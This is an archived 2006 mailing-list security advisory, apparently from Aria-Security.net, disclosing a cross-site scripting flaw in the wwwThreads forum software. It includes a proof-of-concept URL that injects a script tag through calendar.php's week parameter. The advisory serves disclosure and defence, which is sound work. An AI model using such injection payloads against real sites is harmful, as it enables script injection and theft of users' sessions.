|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
wwwThreads XSS
l2odon
yahoo.com
Date: Tue Jul 25 2006 - 17:22:54 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
#----------------------------------------------------------
#Aria-Security.net Advisory
#Discovered by: l2odon
#< www.Aria-security.net>
#Gr33t to: A.u.r.a & O.U.T.L.A.W & R1D3N DrtRp & Cl0wn
#-----------------------------------------------------------
#Software: wwwThreads
#Attack method: Cross Site Scripting
#Original advisory:http://www.aria-security.net/advisory/wwwthreads.txt
#
#
#
#Proof of Concept:
#
#http://www.site.com/[path]/calendar.php?week="><script>alert('test!')</script><
#
#----------------------------------------------------------
#
#Solution
#contact me: AdvisoryAria-Security.net
#
#----------------------------------------------------------
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]